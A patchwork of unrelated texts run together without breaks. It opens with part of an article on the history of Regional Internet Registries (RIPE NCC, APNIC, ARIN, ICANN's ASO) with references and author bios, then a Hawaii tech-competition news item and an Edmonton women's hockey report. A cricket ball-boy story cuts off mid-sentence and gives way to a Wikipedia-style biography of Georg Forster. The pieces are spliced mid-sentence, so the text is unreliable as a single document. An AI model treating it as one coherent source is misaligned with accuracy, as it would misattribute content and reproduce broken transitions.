The RIPE NCC is presently organized as a membership association, performing the essential coordination and administration activities required by the RIPE community. Located in Amsterdam, Netherlands, the RIPE NCC service region incorporates 109 countries covering Europe, the Middle East, Central Asia, and African countries located north of the equator. The RIPE NCC currently consists of more than 2700 members. At the time of publication, RIPE NCC is performing the secretariat function for the
Address Supporting Organization
(ASO) of The
Internet Corporation for Assigned Names and Numbers
(ICANN). More information about RIPE NCC is available at
APNIC
Asia Pacific Network Information Centre
(APNIC), the second RIR, was established in Tokyo in 1993, as a pilot project of APCCIRN (Asia Pacific Coordination Committee for Intercontinental Research Networks, now
Asia Pacific Networking Group
[APNG]).
The project was an intended as a trial model for servicing the Internet addressing needs of national
Network Information Centres
(NICs) and other networks throughout the region.
After a successful ten-month trial period, APNIC was established as a permanent organization to serve the Asia Pacific region (which includes 62 economies from Central and South Asia to the Islands of Oceania and the Western Pacific).
Originally, APNIC relied on the support of networking organizations and national NICs. However, in 1996, APNIC implemented a tiered membership structure.
APNIC relocated to Brisbane, Australia, in mid-1998. It currently services approximately 700 member organizations, across 39 economies of the region. Within the APNIC membership, there are also five
National Internet Registries
(NIRs), in Japan, China, Taiwan, Korea, and Indonesia. The NIRs perform analogous functions to APNIC at a national level and together represent the interests of more than 500 additional organizations.
In 2000, APNIC hosted the secretariat functions of the ASO in its inaugural year. More information about APNIC is available at:
ARIN
In 1991, the contract to perform the IR function was awarded to Network Solutions, Inc. in Herndon, Virginia. This included the transition of services including IP address registration, domain name registration and support,
Autonomous System Number
(AS) registration, user registration, online information services, help-desk operations, and RFC and Internet-Draft archive and distribution services (RFC 1261).
With explosive Internet growth in the early 1990s, the U.S. Government and the NSF decided that network support for the commercial Internet should be separated from the U.S. Department of Defense. The NSF originated a project named InterNIC under a cooperative agreement with
Network Solutions, Inc.
(NSI) in 1993 to provide registration and allocation of domain names and IP address numbers for Internet users.
Over time, after lengthy consultation with the IANA, the IETF, RIPE NCC, APNIC, the NSF, and the
Federal Networking Council
(FNC), a further consensus was reached in the general Internet community to separate the management of domain names from the management of IP numbers. This consensus was based on the recognition that the stability of the Internet relies on the careful management of IP address space.
Following the examples of RIPE NCC and APNIC, it was recommended that management of IP address space then administered by the InterNIC should be under the control of, and administered by, those that use it, including ISPs, end-user organizations, corporate entities, universities, and individuals.
As a result, ARIN (
American Registry for Internet Numbers
) was established in December 1997, as an independent, nonprofit corporation, with a membership structure open to all interested entities or individuals.
ARIN is located in Chantilly, Virginia, United States. Its service region incorporates 70 countries, covering North America, South America, the Caribbean, and African countries located south of the equator. ARIN currently consists of more than 1500 members. Within the ARIN region, there are two national delegated registries, located in Mexico and Brazil.
Until now, ARIN has carried the responsibility for maintaining registration of resources allocated before the inception of the RIRs. However, a major project is now under way to transfer these legacy records to the relevant RIRs. More information about ARIN is available at:
Emerging RIRs
The existing RIRs currently serve countries outside their core regions to provide global coverage; however, new RIRs are expected to emerge, necessitating changes to the existing service regions. Because the regions are defined on continental dimensions, the number of new RIRs will be low.
Currently, two groups have made significant progress in seeking to establish new RIRs.
AfriNIC
(for the Africa region) and
LACNIC
(for Latin America and the Caribbean) have each conducted public meetings, published documentation, and participated in the activities of the existing RIRs. In recognition of the regional support they have so far obtained, each organization has been granted observer status at ICANN ASO meetings. The existing RIRs have also sought to provide as much assistance and support as possible to these emerging organizations.
More information about AfriNIC is available at:
More information about LACNIC is available at:
The RIR System:
Goals of the RIRs
RFC 2050, published in November 1996, represented a collaboration of the global Internet addressing community to describe a set of goals and guidelines for the RIRs. Although IANA was to retain ultimate responsibility for the entire address pool, RFC 2050 recognizes that RIRs operate under the consensus of their respective regional Internet community. This document, along with a history of RIR coordination, has helped to form the basis for a set of consistent global policies.
The three primary goals of the RIR system follow:
Conservation: to ensure efficient use of a finite resource and to avoid service instabilities due to market distortions (such as stockpiling or other forms of manipulation);
Aggregation (routability): to assist in maintenance of Internet routing tables at a manageable size, by supporting CIDR techniques to ensure continued operational stability of the Internet;
Registration: to provide a public registry documenting address space allocations and assignments, necessary to ensure uniqueness and provide information for Internet troubleshooting at all levels.
The Open Policy Framework
It was always recognized that these goals would often be in conflict with each other and with the interests of individuals and organizations. It was also recognized that legitimate regional interests could justify varying approaches in balancing these conflicts. Therefore, within the global framework, each regional community has always developed its own specific policies and procedures.
However, whereas the specific approaches may differ across the RIRs, all operate on a basic principle of open, transparent, consensus-based decision-making, following self-regulatory practices that exist elsewhere in the Internet and other industries. Furthermore, the RIRs all maintain not-for-profit cost-recovery systems and organizational structures that seek to be inclusive of all interested stakeholders.
The activities and services of each of the RIRs are defined, performed, discussed, and evaluated in open forums, whose participants are ultimately responsible for decision-making.
To facilitate broad participation, open policy meetings are hosted by RIRs regularly in each of the regions. Ongoing discussions are carried out on the public mailing lists of each RIR, which are open to both the RIR constituents and the broader community. The RIRs also participate actively in other Internet conferences and organizations and, importantly, each RIR has a strong tradition of participating in the public activities of the others.
A current example of the coordinated efforts of the RIRs is the Provisional IPv6 Assignment and Allocation Policy Document, a joint effort of the RIRs with the assistance of the IETF, The
Internet Architecture Board
(IAB), and the
Internet Engineering Steering Group
(IESG) to describe the allocation and assignment policies for the first release of IPv6 address numbers.
These documents help illustrate that the well-established combination of bottom-up decision-making and global cooperation of the RIRs has created a stable, robust environment for Internet address management.
RIR Functions
The primary function of each RIR is to ensure the fair distribution and responsible management of IP addresses and the related numeric resources that are required for the stable and reliable operation of the Internet. In particular, the resources allocated, assigned, and registered by RIRs are Internet address numbers (IPv4 and IPv6) and AS numbers. RIRs are also responsible for maintaining the reverse delegation registrations of the parent blocks within their respective ranges.
Complementing their registry function, the RIRs have an important role in educating and informing their communities. The activities carried out by the individual RIRs vary, but include open policy meetings, training courses, seminars, outreach activities, statistical reporting, and research.
Additionally, a crucial role for the RIRs is to represent the interests of their communities by participating in global forums and providing support to other organizations involved in Internet addressing issues.
RIRs and The Global Internet Community:
Formation of ICANN and the ASO
The global Internet governance landscape began to undergo radical changes in mid-1998, with the publication of a U.S. Government white paper outlining the formation of a "not-for-profit corporation formed by private sector Internet stakeholders to administer policy for the Internet name and address system." ICANN was formed later that year.
At the heart of the ICANN structure are "supporting organizations" that are formed to "assist, review and develop recommendations on Internet policy and structure" within specialized areas. In October 1999, the existing RIRs and ICANN jointly signed a
Memorandum of Understanding
(MoU) to establish the principles for forming and operating the
Address Supporting Organization
(ASO). It is intended that new RIRs will sign the MoU as they emerge.
Under the ASO MoU, the policy forums within each of the RIR regions continue to be responsible for development of regional IP address policy. In addition, each signatory RIR is responsible for electing three members to the ICANN
Address Council
.
The purpose of the Address Council, as described in the MoU, is to review and develop recommendations on issues related to IP address space, using the open processes that exist in the three regions; and to advise the ICANN Board on these matters. In addition, the Address Council is responsible for the appointment of three ICANN Directors to the ICANN Board.
RIR–ASO Coordination
Since the formation of the ASO, the RIRs have played an integral part in facilitating its activities. By joint agreement, the RIRs will share the ASO secretariat duties, including the hosting of the ASO Web site, on a revolving basis. APNIC provided these services in the ASO's first year of operation, and RIPE NCC is currently performing this role.
The ASO Address Council holds monthly telephone conferences, which are attended by representatives of the RIRs (and emerging RIRs on a listener basis). In accordance with the MoU, the ASO also holds regular open meetings in conjunction with the open policy meetings of the RIRs.
RIRs and Industry Development
As noted previously, the RIRs maintain high levels of participation in the conferences and activities of other organizations. Similarly, they invite the participation of interested parties in their own activities.
The RIRs are active in many areas of new technology implementation (such as
General Packet Radio Service
[GPRS] and
Universal Telecommunications System
[UMTS] mobile telephony, IPv6, and cable and
Digital Subscriber Line
[xDSL]-based Internet services).
The established regional processes have proved both flexible and open enough to incorporate such new developments into policy formation. Industry representatives frequently join policy discussions, present at plenary sessions, and participate in working groups.
The RIRs pursue relationships with industry bodies, particularly those with representative and developmental functions, to facilitate industry convergence on open standards and policy processes.
Many diverse parties have legitimate interests in the allocation and registration of IP addresses, and the RIRs remain committed to participating with these parties to achieve a consensus among the Internet community on IP address allocation issues.
The Future of RIRs
In Internet time it can be easy to forget that eight years is actually not long. Since it was first proposed in 1990, the RIR system has evolved rapidly, enjoyed strong community support, and has been relatively free of the political wrangling that has characterized the registration systems of other Internet resources. Without doubt, this position is largely due to the early determination to provide accessible, open forums for the interested stakeholders in the various regions.
New technologies, such as GPRS, broadband services, and IPv6 may raise operational and policy challenges to the RIRs, yet at the same time they bring opportunities for increased global cooperation, in a context where distinct regional concerns are represented more effectively than ever before.
It is hoped that the emergence of new RIRs will only serve to expand and enhance the inclusive nature of RIR activities.
References
[1] Clark, D., and Cohen, D., "A Proposal for Addressing and Routing in the Internet," IEN 46, June 1978.
[2] Postel, J., "Assigned Numbers,"
, September 1981.
[3] Information Sciences Institute, "Internet Protocol, DARPA Internet Program, Protocol Specification,"
, September 1981.
[4] Cerf, V., "IAB Recommended Policy on Distributing Internet Identifier Assignment and IAB Recommended Policy Change to Internet 'Connected' Status,"
, August 1990.
[5] Williamson, S., and Nobile, L., "Transition of NIC Services,"
, September 1991.
[6] Fuller, V., Li, T., Yu, J., and Varadhan, K., "Supernetting: An Address Assignment and Aggregation Strategy,"
, June 1992.
[7] Gerich, E., "Guidelines for Management of IP Address Space,"
, October 1992.
[8] Gerich, E., "Guidelines for Management of IP Address Space,"
, May 1993.
[9] Rekhter, Y., and Li, T., "A Border Gateway Protocol 4 (BGP-4),"
, July 1994.
[10] Hubbard, K., Kosters, M., Conrad, D., Karrenberg, D., and Postel, J., "Internet Registry IP Guidelines,"
, November 1996.
[11] Blokzijl, R., Devillers, Y., Karrenberg, D., and Volk, R., "RIPE Network Coordination Center," RIPE-19, September 1990.
[12] Terpstra, M., "RIPE NCC Internet Numbers Registration Procedures," RIPE-65, July 1992.
DANIEL KARRENBERG has helped to build the European Internet since the early 1980s. As one of the founding members of the German UNIX Users Group, he has been involved in the setting up of EUnet, a pan-European coperative network providing electronic mail and news to businesses and academic institutions all over Europe. While at CWI in Amsterdam, Karrenberg helped to expand this network and convert it to a fully IP-based service. During this time he created a whois database of operational contacts, which was the nucleus of the current RIPE database. Karrenberg is one of the founders of RIPE, the IP coordination body for Europe and surrounding areas. In 1992 he was asked to set up the RIPE NCC, the first regional Internet registry providing IP numbers to thousands of Internet service providers in more than 90 countries. Karrrenberg led the RIPE NCC until 1999, when it had an international staff of 59 with more than 20 nationalities; he currently helps to develop new RIPE NCC services. Recently his contributions have been recognized by the Internet Society with its
Jon Postel Service Award
. Karrenberg's current interests include measurements of Internet performance and routing as well as security within the Internet infrastructure. In general he likes building new and interesting things. Mr. Karrenberg holds an MSc in computer science from Dortmund University. E-mail:
GERARD ROSS holds a BA and LLB from University of Queensland and a Grad.Dip. (Communication) from Queensland Institute of Technology. He was employed as the technical writer at APNIC in 1998 and has been involved in the development and drafting of several major policy documents both in the APNIC region and as part of coordinated global RIR activities. He was the ASO webmaster in its inaugral year. He is currently the APNIC Documentation Manager. E-mail:
PAUL WILSON has been Director-General of APNIC since August 1998. Previously, he was a founding staff member and subsequently Chief Executive Officer at Pegasus Networks, the first private ISP in Australia. Over an eight-year period he worked as a consultant to the United Nations and other international agencies on Internet projects in many countries. Since 1994, he has worked with the International Development Research Centre (IDRC) on its Pan-Asia Networking (PAN) Programme, supporting projects in Mongolia, Vietnam, Cambodia, Maldives, Nepal, Bhutan, PNG, and China. He continues to serve as a member of the PAN Research and Development Grants Comittee. E-mail:
LESLIE NOBILE received her B.A. from the American University in Washington, D.C. She has over 15 years of experience in the Internet field, and has been involved with the Internet Registry system since 1991. Prior to that, she held various technical management positions while working under a U.S. Government contract that supported the engineering and implementation of the Defense Data Network, a high-speed data network that evolved from the ARPANET. Her experience with the Registry system began in 1991 working as one of the Operations managers who transitioned the Internet Network Information Center (NIC) from SRI to Network Solutions, Inc. She remained a registration services manager with the DDN/DoD NIC until August 2000, when she became Director of Registration Services at the American Registry for Internet Numbers (ARIN). She has been a contributing author to RFCs, Internet Society (ISOC) articles, and various other industry publications and has been actively involved in the global coordination of Internet addressing policy. Her e-mail address isSince March there’s been a competition going on, called the Purple Prize, that asks tech developers to team up with cultural practitioners to innovate technologies that serve Hawaiian culture and Hawaiʻi. The winners will be selected in October.
The Purple Prize is only two years old and is run by the small team at technology education nonprofit Purple Maiʻa Foundation. But it’s one of the biggest competitions in Hawaiʻi if you measure by how much prize money is given away. This year they say they’ll be giving out $90K or more in prizes (cash and cloud service credits).
The words “technology innovation” usually bring to mind things like flying cars, the latest smartphone, or futuristic space stations, but the Purple Prize encourages participants to think about innovation as working to solve problems faced by your local community and your environment.
This year, the 12 competing teams are working on projects that have to do with things like monitoring loko iʻa (traditional Hawaiian fishponds), gathering and visualizing data about ecosystems, connecting consumers to healthy food, and sharing moʻolelo (stories) about significant places. The teams all relate their work to this year’s competition theme: Waiwai (value).
Last year, 6 teams competed with projects inspired by the theme aloha ʻāina (love of the land). The top three winning teams were working on wetland censors, a kid’s game app about the watershed called Waiwai, and a wearable technology that helps you learn Hawaiian rain names.
This year’s winners will be chosen on Oct. 21 at UH West Oʻahu. The public and especially students are welcome to check out all the teams, have lunch, and stay for other programming about innovation taking place throughout the day. There is also a pau hana networking event planned for Oct. 19 in Mōʻiliʻili. Watch www.purpleprize.com for details.In an effort to raise the bar for female players heading into a new venture this fall, Hockey Edmonton turned to the University of Alberta Pandas women’s team for support.
The Pandas know a thing or two about winning.
The partnership is geared to aid in developing female players in the city and will be focused on the Bantam and Midget elite programs redefined by Hockey Alberta for the upcoming season.
“There are going to be six Midget AAA teams in the province and 12 Midget elite teams and 12 Bantam elite teams,” said Hockey Edmonton executive director Dean Hengel. “Edmonton is one of the six franchises that was offered a Midget AAA program and one of the heavy emphasis was on player skill development and their technical developments, as well as developing coaching staffs and technical staffs.
“We had an opportunity of building a Centre of Excellence by tapping into the resources of the Pandas hockey program and the programs being offered by the Athletics department in the Faculty of Physical Recreation and Education with respect to their Green and Gold sports programs.”
The Pandas hockey program was created in 1997 and is the most successful Canadian University team in the country, winning a record seven national championships.
The Pandas and coach Howie Draper have been pioneers in the development of female hockey in the country and were very willing to share their expertise with the local team competing in the new provincial league.
“This is something that is being driven by our faculty with the idea of playing a major role in helping young people develop in various sports that we have available at the U of A,” Draper said. “What helped contribute to this combustion (partnership) was that in female hockey, our Midget AAA level throughout Alberta had either flatlined or in some cases, it had decreased.
“The skill level of the players wasn’t quite where Hockey Alberta felt it could be. There were a number of players moving out of the Midget AAA system and into hockey academies all over Western Canada and spending huge amounts of money, upwards of $30,000, to attend these sport academies and there was maybe a feeling that they weren’t quite getting out if it what they hoped they would get out of it.”
The Edmonton Female Athletic Club will represent the city in the newly formed leagues. The Midget AAA team will be coached by Darwin Bozek. They are holding a spring identification camp this weekend at the Clare Drake Arena.
The Midget AAA league will also feature teams in Calgary, Lloydminster, Okotoks, Red Deer and St. Albert.
“We all feel very strongly about working together to help these young female athletes develop into, hopefully, stronger athletes down the road,” Draper said. “We want to help them achieve their dreams.”
Ultimately, Draper believes the Pandas involvement with Hockey Edmonton will benefit his program at the U of A. The goal, however, is to increase the talent pool and provide opportunities for female players to play at the highest level.
“We want to ensure the players that play hockey have the best opportunity to reach whatever goals they may have in the sport,” Draper said. “We would love to be able to say we’ll have anywhere between 5-10 girls in the U-18 provincial program playing for Team Alberta. We would love to be able to say, coming out of this program, we’ll have a few national team members down the road. That in of itself would be the greatest reward for all of us involved.”
The Midget Elite league will be made up of teams in Edmonton, two from Calgary, Airdrie, Grande Prairie, Leduc, Lethbridge, Lloydminster, Okotoks, Red Deer, Sherwood Park and St. Albert. The Bantam league will have a similar makeup.
“At Midget AAA this year for the first time in Alberta, it’s a full open-boundary environment, there are no residential restrictions as to where a player can play,” Hengel said. “With full mobility, girls can start with an organization of their choosing which best fits their needs and their philosophies.”
Hengel believes having the Pandas on their side gives the elite female programs in Edmonton a competitive advantage.
“For 20 years, they have been the leading program in Canada,” Hengel said. “The recognition Howie has as a coach provincially and nationally, and even internationally, that’s a resource that we would be absolutely foolish not to partner with. This new female elite hockey model provided us with an opportunity to sit down and see what we could do differently that would benefit our athletes and our coaches, and not just at the elite level but at all levels of female hockey in Edmonton.”
Dvandiest@postmedia.com
twitter.com/DerekVanDiestDharamveer Pal, the widely-recognised polio-afflicted fan of the Indian cricket team who has been a near permanent presence near the boundary line during matches for years, won’t be able to function as a ball-boy anymore. He will be free to sit in the stands and watch the game, but he can no longer be a boundary-rider. It is learnt that after copping criticism on social media and by email for using the services of a polio-afflicted person, the Indian cricket board has sent a circular to all staging associations to not use such a person as a ball-boy.
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“Cricket is the reason for my living,” says a tattoo on Dharamveer’s left arm. He is well known to many Indian players. During his farewell Test match in Mumbai in 2013, Sachin Tendulkar took time out to meet with Dharamveer and Sudhir Kumar Gautam, the fan who paints his body in the colours of the Indian flag, and told them to keep supporting cricket. “It is because of you guys that we play. Keep supporting India. Indian cricket needs you,” Tendulkar had said. Yuvraj Singh had once said about Dharamveer: “A physically challenged child has so |
ook studies of the zoology and botanics of the southern seas, mostly by drawing animals and plants. However, Georg also pursued his own interests, which led to completely independent explorations in comparative geography and ethnology. He quickly learned the languages of the Polynesian islands. His reports on the people of Polynesia are well regarded today, as they describe the inhabitants of the southern islands with empathy, sympathy and largely without Western or Christian bias.[11]
Unlike Louis Antoine de Bougainville, whose reports from a journey to Tahiti a few years earlier had initiated uncritical noble savage romanticism, Forster developed a sophisticated picture of the societies of the South Pacific islands.[12] He described various social structures and religions that he encountered on the Society Islands, Easter Island and in Tonga and New Zealand, and ascribed this diversity to the difference in living conditions of these people. At the same time, he also observed that the languages of these fairly widely scattered islands were similar. About the inhabitants of the Nomuka islands (in the Ha'apai island group of present-day Tonga), he wrote that their languages, vehicles, weapons, furniture, clothes, tattoos, style of beard, in short all of their being matched perfectly with what he had already seen while studying tribes on Tongatapu. However, he wrote, "we could not observe any subordination among them, though this had strongly characterised the natives of Tonga-Tabboo, who seemed to descend even to servility in their obeisance to the king."[13]
The journey was rich in scientific results. However, the relationship between the Forsters and Cook and his officers was often problematic, due to the elder Forster's fractious temperament[6] as well as Cook's refusal to allow more time for botanical and other scientific observation. Cook refused scientists on his third journey after his experiences with the Forsters.[14]
Founder of modern travel literature [ edit ]
One of Forster's many illustrations of birds now extinct, the Tanna ground dove, also known as Forster's dove of Tanna
These conflicts continued after the journey with the problem of who should write the official account of the travels. Lord Sandwich, although willing to pay the promised money, was irritated with Johann Reinhold Forster's opening chapter and tried to have it edited. However, Forster did not want to have his writing corrected "like a theme of a School-boy", and stubbornly refused any compromise.[10] As a result, the official account was written by Cook, and the Forsters were deprived of the right to compile the account and did not obtain payment for their work. During the negotiations, the younger Forster decided to release an unofficial account of their travels. In 1777, his book A Voyage Round the World in His Britannic Majesty's Sloop Resolution, Commanded by Capt. James Cook, during the Years, 1772, 3, 4, and 5 was published. This report was the first account of Cook's second voyage (it appeared six weeks before the official publication) and was intended for the general public. The English version and his own translation into German (published 1778–80) earned the young author real fame. The poet Christoph Martin Wieland praised the book as the most important one of his time, and even today it remains one of the most important journey descriptions ever written. The book also had a significant impact on German literature, culture and science, influencing such scientists as Alexander von Humboldt[15] and it inspired many ethnologists of later times.
Forster wrote well-polished German prose, which was not only scientifically accurate and objective, but also exciting and easy to read. This differed from conventional travel literature of the time, insofar as it presented more than a mere collection of data – it also demonstrated coherent, colourful and reliable ethnographical facts that resulted from detailed and sympathetic observation. He often interrupted the description to enrich it with philosophical remarks about his observations.[16] His main focus was always on the people he encountered: their behavior, customs, habits, religions and forms of social organization. In A Voyage Round the World he even presented the songs sung by the people of Polynesia, complete with lyrics and notation. The book is one of the most important sources concerning the societies of the Southern Pacific from the times before European influence had become significant.
Both Forsters also published descriptions of their South Pacific travels in the Berlin-based Magazin von merkwürdigen neuen Reisebeschreibungen ("Magazine of strange new travel accounts"), and Georg published a translation of "A Voyage to the South Sea, by Lieutenant William Bligh, London 1792" in 1791–93.
Forster at universities [ edit ]
The publication of A Voyage Round the World brought Forster scientific recognition all over Europe.[17] The respectable Royal Society made him a member on January 9, 1777,[18] though he was not even 23 years old. He was granted similar titles from academies ranging from Berlin to Madrid.[19] These appointments, however, were unpaid.
In 1778, he went to Germany to take a teaching position as a Natural History professor at the Collegium Carolinum in Kassel, where he met Therese Heyne, the daughter of classicist Christian Gottlob Heyne. She later became one of the first independent female writers in Germany. They married in 1785 (which was after he left Kassel) and had three children, but their marriage was not happy. From his time in Kassel on, Forster actively corresponded with important figures of the Enlightenment, including Lessing, Herder, Wieland and Goethe. He also initiated cooperation between the Carolinum in Kassel and the University of Göttingen where his friend Georg Christoph Lichtenberg worked. Together, they founded and published the scientific and literary journal Göttingisches Magazin der Wissenschaften und Litteratur.[20] Forster's closest friend, Samuel Thomas von Sömmering, arrived in Kassel shortly after Forster, and both were soon involved with the Rosicrucians in Kassel.
However, by 1783 Forster saw that his involvement with the Rosicrucians not only led him away from real science, but also deeper into debt[21] (it is said he was not good at money[6]); for these reasons Forster was happy to accept a proposal by the Polish–Lithuanian Commonwealth Komisja Edukacji Narodowej (Commission of National Education) and became Chair of Natural History at Vilnius University in 1784.[22] Initially, he was accepted well in Vilnius, but he felt more and more isolated with time. Most of his contacts were still with scientists in Germany; especially notable is his dispute with Immanuel Kant about the definition of race.[23] In 1785, Forster traveled to Halle where he submitted his thesis on the plants of the South Pacific for a doctorate in medicine.[24] Back in Vilnius, Forster's ambitions to build a real natural history scientific center could not get appropriate financial support from the authorities in Polish–Lithuanian Commonwealth. Moreover, his famous speech on natural history in 1785 went almost unnoticed and was not printed until 1843. These events led to high tensions between him and the local community.[25] Eventually, he broke the contract six years short of its completion as Catherine II of Russia had offered him a place on a journey around the world (the Mulovsky expedition) for a high honorarium and a position as a professor in Saint Petersburg.[26] This resulted in a conflict between Forster and the influential Polish scientist Jędrzej Śniadecki. However, the Russian proposal was withdrawn and Forster left Vilnius. He then settled in Mainz, where he became head librarian of the University of Mainz, a position held previously by his friend Johannes von Müller, who made sure Forster would succeed him when Müller moved to the administration of Elector Friedrich Karl Josef von Erthal.[27]
Forster regularly published essays on contemporary explorations and continued to be a very prolific translator; for instance, he wrote about Cook's third journey to the South Pacific, and about the Bounty expedition, as well as translating Cook's and Bligh's diaries from these journeys into German.[28] From his London years, Forster was in contact with Sir Joseph Banks, the initiator of the Bounty expedition and a participant in Cook's first journey. While at the University of Vilnius he wrote the article "Neuholland und die brittische Colonie in Botany-Bay", published in the Allgemeines historisches Taschenbuch (Berlin, December 1786), an essay on the future prospects of the English colony founded in New South Wales in 1788.[29]
Another interest of his was indology – one of the main goals of his failed expedition to be financed by Catherine II had been to reach India. He translated the Sanskrit play Shakuntala using a Latin version provided by Sir William Jones; this strongly influenced Herder and triggered German interest in the culture of India.[30]
Views from the Lower Rhine [ edit ]
Ansichten vom Niederrhein One of the entrances of Cologne Cathedral, which was praised in
In the second quarter of 1790, Forster and the young Alexander von Humboldt started from Mainz on a long journey through the Southern Netherlands, the United Provinces, and England, eventually finishing in Paris. The impressions from the journey were described in a three volume publication Ansichten vom Niederrhein, von Brabant, Flandern, Holland, England und Frankreich im April, Mai und Juni 1790 (Views of the Lower Rhine, from Brabant, Flanders, Holland, England, and France in April, May and June 1790), published 1791–94. Goethe said about the book: "One wants, after one has finished reading, to start it over, and wishes to travel with such a good and knowledgeable observer." The book includes comments on the history of art that were as influential for the discipline as A Voyage Round the world was for ethnology. Forster was, for example, one of the first writers who gave just treatment to the Gothic architecture of Cologne Cathedral,[31] which was widely perceived as "barbarian" at that time. The book conformed well to the early Romantic intellectual movements in German-speaking Europe.[32]
Forster's main interest, however, was again focused on the social behavior of people, as 15 years earlier in the Pacific. The national uprisings in Flanders and Brabant and the revolution in France sparked his curiosity. The journey through these regions, together with the Netherlands and England, where citizens' freedoms were equally well developed, in the end helped him to resolve his own political opinions. From that time on he was to be a confident opponent of the ancien régime. With other German scholars, he welcomed the outbreak of the revolution as a clear consequence of the Enlightenment. As early as July 30, 1789, shortly after he heard about the Storming of the Bastille, he wrote to his father-in-law, philologist Christian Gottlob Heyne, that it was beautiful to see what philosophy had nurtured in people's minds and then had realized in the state. To educate people about their rights in this way, he wrote, was after all the surest way; the rest would then result as if by itself.[33]
Life as a revolutionary [ edit ]
Foundation of the Mainz Republic [ edit ]
The French revolutionary army under General Custine gained control over Mainz on October 21, 1792. Two days later, Forster joined others in establishing a Jacobin Club called "Freunde der Freiheit und Gleichheit" ("Friends of Freedom and Equality") in the Electoral Palace. From early 1793 he was actively involved in organizing the Mainz Republic. This first republic located on German soil was constituted on the principles of democracy, and encompassed areas on the left bank of the Rhine between Landau and Bingen. Forster became vice-president of the republic's temporary administration and a candidate in the elections to the local parliament, the Rheinisch-Deutscher Nationalkonvent (Rhenish-German National Convention). From January to March 1793, he was an editor of Die neue Mainzer Zeitung oder Der Volksfreund (The new Mainz newspaper or The People's Friend). In his first article he wrote:
Die Pressefreiheit herrscht endlich innerhalb dieser Mauern, wo die Buchdruckerpresse erfunden ward.[34]
The freedom of the press finally reigns within these walls where the printing press was invented.
This freedom did not last long, though. The Mainz Republic existed only until the retreat of the French troops in July 1793 after the Siege of Mainz.
Forster was not present in Mainz during the siege. As representatives of the Mainz National Convention, he and Adam Lux had been sent to Paris to apply for Mainz – which was unable to exist as an independent state – to become a part of the French Republic. The application was accepted, but had no effect, since Mainz was conquered by Prussian and Austrian troops, and the old order was restored.[35] Forster lost his library and collections and decided to remain in Paris.[36]
Death in revolutionary Paris [ edit ]
Based on a decree by Emperor Francis II inflicting punishments on German subjects who collaborated with the French revolutionary government, Forster was declared an outlaw and placed under the Imperial ban; a prize of 100 ducats was set on his head and he could not return to Germany.[37] Devoid of all means of making a living and without his wife, who had stayed in Mainz with their children and her later husband Ludwig Ferdinand Huber, he remained in Paris. At this point the revolution in Paris had entered the Reign of Terror introduced by the Committee of Public Safety under the rule of Maximilien Robespierre. Forster had the opportunity to experience the difference between the promises of the revolution of happiness for all and its cruel practice. In contrast to many other German supporters of the revolution, like for instance Friedrich Schiller, Forster did not turn back from his revolutionary ideals under the pressure of the terror. He viewed the events in France as a force of nature that could not be slowed and that had to release its own energies to avoid being even more destructive.[38]
Before the reign of terror reached its climax, Forster died after a rheumatic illness[39] in his small attic apartment at Rue des Moulins[40] in Paris in January 1794, at the age of thirty-nine. At the time, he was making plans to visit India.[36]
Views on nations and their culture [ edit ]
Forster had partial Scottish roots and was born in Polish Royal Prussia, and therefore was by birth a Polish subject. He worked in Russia, England, Poland and in several German countries of his time. Finally, he finished his life in France. He worked in different milieus and traveled a lot from his youth on. It was his view that this, together with his scientific upbringing based on the principles of the Enlightenment, gave him a wide perspective on different ethnic and national communities:
All peoples of the earth have equal claims to my good will... and my praise and blame are independent of national prejudice.[41]
In his opinion all human beings have the same abilities with regard to reason, feelings and imagination, but these basic ingredients are used in different ways and in different environments, which gives rise to different cultures and civilizations. According to him it is obvious that the culture on Tierra del Fuego is at a lower level of development than European culture, but he also admits that the conditions of life there are much more difficult and this gives people very little chance to develop a higher culture. Based on these opinions he was classified as one of the main examples of 18th-century German cosmopolitanism.[42]
In contrast to the attitude expressed in these writings and to his Enlightenment background, he used insulting terms expressing prejudice against Poles in his private letters during his stay in Vilnius and in a diary from the journey through Poland,[43][44][45] but he never published any manifestation of this attitude.[46] These insults only became known after his death, when his private correspondence and diaries were released to the public. Since Forster's published descriptions of other nations were seen as impartial scientific observations, Forster's disparaging description of Poland in his letters and diaries was often taken at face value in Imperial and Nazi Germany, where it was used as a means of science-based support for a purported German superiority.[47] The spreading of the "Polnische Wirtschaft" (Polish economy) stereotype[48][49] is most likely due to the influence of his letters.[50][49]
Forster's attitude brought him into conflict with the people of the different nations he encountered and made him welcome nowhere, as he was too revolutionary and antinational for Germans,[51] proud and opposing in his dealings with Englishmen,[52] too unconcerned about Polish science for Poles,[49][53] and too insignificant politically and ignored while in France.[54]
Legacy [ edit ]
After Forster's death, his works were mostly forgotten, except in professional circles. This was partly due to his involvement in the French revolution. However, his reception changed with the politics of the times, with different periods focusing on different parts of his work. In the period of rising nationalism after the Napoleonic era he was regarded in Germany as a "traitor to his country", overshadowing his work as an author and scientist. This attitude rose even though the philosopher Karl Wilhelm Friedrich Schlegel wrote about Forster at the beginning of the 19th century:
Among all those authors of prose who are justified in laying claim to a place in the ranks of German classics, none breathes the spirit of free progress more than Georg Forster.[55]
Some interest in Forster's life and revolutionary actions was revived in the context of the liberal sentiments leading up to the 1848 revolution.[56] But he was largely forgotten in the Germany of Wilhelm II and more so in the Third Reich,[40] where interest in Forster was limited to his stance on Poland from his private letters. Interest in Forster resumed in the 1960s in East Germany, where he was interpreted as a champion of class struggle.[57] The GDR research station in Antarctica that was opened on October 25, 1987, was named after him.[58] In West Germany, the search for democratic traditions in German history also lead to a more diversified picture of him in the 1970s. The Alexander von Humboldt foundation named a scholarship program for foreign scholars from developing countries after him.[59] His reputation as one of the first and most outstanding German ethnologists is indisputable, and his works are seen as crucial in the development of ethnology in Germany into a separate branch of science.[60]
The ethnographical items collected by Georg and Johann Reinhold Forster are now presented as the Cook-Forster-Sammlung (Cook–Forster Collection) in the Sammlung für Völkerkunde anthropological collection in Göttingen.[61] Another collection of items collected by the Forsters is on display at the Pitt Rivers Museum in Oxford.[62]
Works [ edit ]
A Voyage Round the World in His Britannic Majesty's Sloop Resolution, Commanded by Capt. James Cook, during the Years, 1772, 3, 4, and 5 (1777) (preview)
(1777) (preview) De Plantis Esculentis Insularum Oceani Australis Commentatio Botanica (1786) available online at Project Gutenberg
(1786) available online at Project Gutenberg Florulae Insularum Australium Prodromus (1786) available online at Project Gutenberg
(1786) available online at Project Gutenberg Essays on moral and natural geography, natural history and philosophy (1789–97)
(1789–97) Views of the Lower Rhine, Brabant, Flanders (three volumes, 1791–94)
